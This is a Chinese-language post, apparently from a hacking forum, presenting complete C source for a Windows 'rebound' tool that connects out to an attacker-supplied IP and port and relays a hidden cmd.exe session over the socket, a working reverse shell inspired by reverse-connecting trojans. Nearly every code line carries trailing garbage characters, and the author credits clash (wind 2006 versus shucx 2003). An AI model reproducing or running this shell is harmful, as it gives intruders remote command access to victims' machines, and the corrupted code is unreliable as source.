这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8\<jyJ
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/* ============================== 9>/wUQs!]
Rebound port in Windows NT KlK`;cr?
By wind,2006/7 U=bEA1*@0
===============================*/ eMK+X \
#include TG
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#include VcK}2<8:+~
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#pragma comment(lib,"wsock32.lib") -ZW0k@5g
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void OutputShell(); D j\e@?Y
SOCKET sClient; DjMf,wX-{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #G9 adK5
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void main(int argc,char **argv) vUC!fIG
{ x0a.!
WSADATA stWsaData; df+t:a
int nRet; P`U<7xF~
SOCKADDR_IN stSaiClient,stSaiServer; M8w5Ob
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if(argc != 3) 4([.xT
{ 4VN aq<8
printf("Useage:\n\rRebound DestIP DestPort\n"); Z?i /r5F
return; }aB#z<B6
} `Lyq[zg8
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WSAStartup(MAKEWORD(2,2),&stWsaData); F=G{)*Ih
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,1Qd\8N9
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stSaiClient.sin_family = AF_INET; m9M
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stSaiClient.sin_port = htons(0); jc_\'Gr+[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HOt>}x
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^=cXo<6D
{ $#o1MX
printf("Bind Socket Failed!\n"); mxrG)n6Y
return; G,&%VQ3P>
} wh 0<Uv
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stSaiServer.sin_family = AF_INET; D)='8jV7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B%<e FFV\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "oJ(J{Jat
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B\j~)vg
{ mkvvNm3
printf("Connect Error!"); hJ%1
return; h
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} (J:dK=O@Z
OutputShell(); -237Lx$/
} $%2_{m_K:p
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void OutputShell() OVoO6F]
{ V7CoZnz
char szBuff[1024]; ^<V9'Ut
SECURITY_ATTRIBUTES stSecurityAttributes; _|c&@M
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5#:pT
STARTUPINFO stStartupInfo; cErI%v}v0
char *szShell; bk#xiuwT
PROCESS_INFORMATION stProcessInformation; 5$l9@0D.\
unsigned long lBytesRead; mAqDjRV1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V:K;] h*!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2V#6q,2
stSecurityAttributes.lpSecurityDescriptor = 0; H^c0Kh+
stSecurityAttributes.bInheritHandle = TRUE; X\GM/A
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gqiXmMm:9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _pDjg%A>n
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K\=8eg93Z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;'kI/(;;C
stStartupInfo.wShowWindow = SW_HIDE; \4~AI=aw,T
stStartupInfo.hStdInput = hReadPipe; HR{s&ho
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6o}V@UzqV
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GetVersionEx(&stOsversionInfo); c c G['7
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switch(stOsversionInfo.dwPlatformId) )y50Mb0+
{ r7z6___
case 1: G\Hq/4
szShell = "command.com"; vP]9;mQ
break; (}H ,ng'4
default: @h-T:$
szShell = "cmd.exe"; 6TFo|z!C
break; mVf.sA8
} U~is-+Uq
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N_' +B+U?
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send(sClient,szMsg,77,0); )q+4k m6
while(1) AqYxWk3>
{ X\2_;zwf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @@pq'iRn
if(lBytesRead) \XH@b6{
{ VyZV(k
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +t\^(SJ6
send(sClient,szBuff,lBytesRead,0); sWxK~Yg
} ?z.Isvn
else ofCVbn
{ Lo3-X
lBytesRead=recv(sClient,szBuff,1024,0); qe?Ggz3p.
if(lBytesRead<=0) break; mUwUs~PjA
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yjZ2 if
} EZAm)5:]A
} 3z,2utH
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return; E2:D(7(;l
}